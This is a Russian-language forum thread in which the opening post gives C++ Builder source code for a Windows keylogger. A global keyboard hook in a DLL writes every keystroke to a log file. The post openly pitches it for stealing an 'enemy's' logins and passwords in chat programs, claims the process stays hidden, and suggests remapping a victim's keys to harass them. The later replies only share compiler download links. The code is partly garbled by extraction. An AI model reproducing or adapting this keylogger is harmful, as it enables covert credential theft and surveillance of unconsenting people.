Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 03.07.2009, 19:28   #1
Заблокирован
 Пехотинец
Аватар для Silence
 
Silence скоро будет известенSilence скоро будет известенSilence скоро будет известенSilence скоро будет известен
Регистрация: 17.06.2009
Сообщений: 60
Популярность: 382
Сказал(а) спасибо: 63
Поблагодарили 151 раз(а) в 49 сообщениях
 
По умолчанию Шпион своими руками

Для обеспечения тебя сведениями о логине и пароле врага, а также его мнении о тебе, политике госдуратства и пр. в аське, мирке и даже WEB-чате идеально подходит клавиатурный шпион, учебная версия которого (с исходниками) и представлена твоему вниманию.

Мои исходники - всё на том же C++, который идеален с точки зрения учебно-познавательно- быстроклепательных целей. Конкретно, тебе понадобится С++ Builder любой версии и немного умения работать в его среде разработки (если умеешь на Дельфях - считай, умеешь работать и на Builder’e

Для начала немного теории: в целях упрощения отладки больших и сложных прог (мультипроцессовых и многопоточных) в winAPI включена функция SetWindowsHookEx, которая позволяет перехватывать сообщения виндов, причём фильтруя их (в зависимости от того, какие сообщения важны при отладке [параметр idHook]). Функция на самом деле очень мощная - вот пример, для чего её можно использовать (а ты думал, только кнопки пасти, да ? :

WH_CALLWNDPROC - перехват всех сообщений, причём до того как они были посланы системой конкретному окну (это юзает утилита Spy++, входящая в состав Visual C++).

WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для записи и воспроизведения макросов (в основном использовалась мной для беспредельного глумления над существами с именем Default User

WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а вместо Task Manager выполняется твоя функция!

WH_KEYBOARD - ну тут всё и так понятно (используется в прилагаемых исходниках с известной целью

Я перечислил не все возможности этой кульной функции, а только те, которые можно поюзать в нашем грязном деле Об остальных читай мои статьи под номером NEXT.

Но есть у этой функции своя беда - один из её параметров [dwThreadId] должен указывать на поток, сообщения к которому и следует перехватывать. Если ты укажешь ID главного потока своей проги - получишь клавиатурный ввод только с него, а если этот параметр будет 0 (все потоки) и функция обработки будет находиться прямо внутри твоей проги - нифига не получишь, потому что этот поток будет также принадлежать ПРОЦЕССУ твоей проги (только, к тому же, не будет главным потоком Выход из ситуации - создать новый ПРОЦЕСС. Для чего из проги вызывается DLL (при желании можно и EXE) с этой самой “шпионской функцией” Заметь - эту DLL не видно не только по Ctrl+Alt+Del, но и в списке процессов, а всё потому, что новый процесс - “дитё” главного процесса приложения (вот тебе и идея, сыроватая правда, как из процессов проги прятать

А вот и долгожданные исходники - два отдельных проекта;

1) Основная прога (File->New Application, затем удалить “форму” и Unit1.cpp, затем выбрать Project->View Source):

PHP код:
//-------------------------- 
/* - заголовочные файлы, чтобы юзать функции WinAPI и не только их */ 
#include 
#include 
#include 
#include 
#include 
//--------------------------------------------------------------------------- 
HHOOK hook// Handle нашей "шпионской" функции 
//--------------------------------------------------------------------------- 
WINAPI WinMain(HINSTANCEHINSTANCELPSTRint

// Объявляем тип функции; 
// параметры и их тип в скобках указывать не надо - и так работает :) 
typedef int (CALLBACKlpfn)(); 
lpfn hookfunc// Конкретный указатель на функцию 

// Юзаем нашу DLL 
HINSTANCE hDLL=LoadLibrary("dllhook.dll"); 
// Находим в ней адрес функции, которая и будет шпионить за клавой 
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc"); 

// Запускаем шпиона 
hook=SetWindowsHookEx(WH_KEYBOARD/* шпионить за клавиатурой */ 
hookfunc/* функция, которая шпионит */ 
LoadLibrary("dllhook.dll"), /* её DLL */ 
/* Шпионить за всеми потоками в системе*/ ); 

while(
1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти 

//-------------------------- 

2DLL (File->New..., затем выбрать “DLL”) - обработчик сообщений от клавиатуры

//-------------------------- 
#include 
#include 
#include 
#pragma hdrstop 
//-------------------------- 
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL 
extern "C" __declspec(dllexportLRESULT CALLBACK 
KeyboardProc
(int codeWPARAM wParamLPARAM lParam); 
//-------------------------- 
// "Шпионская" функция 
//-------------------------- 
LRESULT CALLBACK KeyboardProc(int codeWPARAM wParamLPARAM lParam

FILE *f// Указатель на файл 

// Открываем файл с логом на добавление, если его нет - создаём 
if((f=fopen("c:logfile.log","a"))!=NULL

// Просто пишем код нажатой кнопки в файл, но 
// не отслеживаются заглавные/прописные, 
// а также нажатие и удерживание одной кнопки. 
// (для этого анализируй параметр lParam) 
fputc(MapVirtualKey(wParam,2),f); 
fclose(f); 


/* Перед выходом из функции - вызываем нормальный обработчик 
сообщений от клавы (что толку от шпиона, если остальные 
проги перестанут на клаву реагировать ? :) 
*/ 
return CallNextHookEx(NULLcodewParamlParam); 

//-------------------------- 
// Функция входа в DLL - её не оставляем как есть 
//-------------------------- 
int WINAPI DllEntryPoint(HINSTANCE hinstunsigned long reasonvoid*) 

return 
1

//-------------------------- 
Кстати, если ты решил просто поиздеваться над врагом - можно, не меняя кнопки на клаве физически, поменять сообщения от кнопок (раз уж они всё равно перехвачены, никто не обязывает передавать их дальше в исходном виде ))
  Ответить с цитированием
Пользователь сказал cпасибо:
reraider (17.01.2011)
Старый 25.12.2009, 00:07   #2
Читер-спонсор
 Рыцарь-защитник
Аватар для Nickitee
 
Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(Nickitee сломал счётчик популярности :(
Регистрация: 28.08.2009
Сообщений: 603
Популярность: 19129
Золото Zhyk.Ru: 500
Сказал(а) спасибо: 84
Поблагодарили 602 раз(а) в 321 сообщениях
 
По умолчанию Re: Шпион своими руками

Цитата:
Сообщение от recaПосмотреть сообщение
умоляю дайте сылку для скачивания С++

[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Пользователь сказал cпасибо:
reraider (17.01.2011)
Старый 10.02.2011, 14:45   #3
 Разведчик
Аватар для xselderx
 
xselderx никому не известный тип
Регистрация: 03.01.2011
Сообщений: 16
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 3 раз(а) в 2 сообщениях
 
По умолчанию Re: Шпион своими руками

Цитата:
Сообщение от recaПосмотреть сообщение
умоляю дайте сылку для скачивания С++

[Ссылки могут видеть только зарегистрированные пользователи. ] - Простое скачивание
[Ссылки могут видеть только зарегистрированные пользователи. ] - Торрент файл
  Ответить с цитированием
Пользователь сказал cпасибо:
stepnik (13.03.2011)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 11:36.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net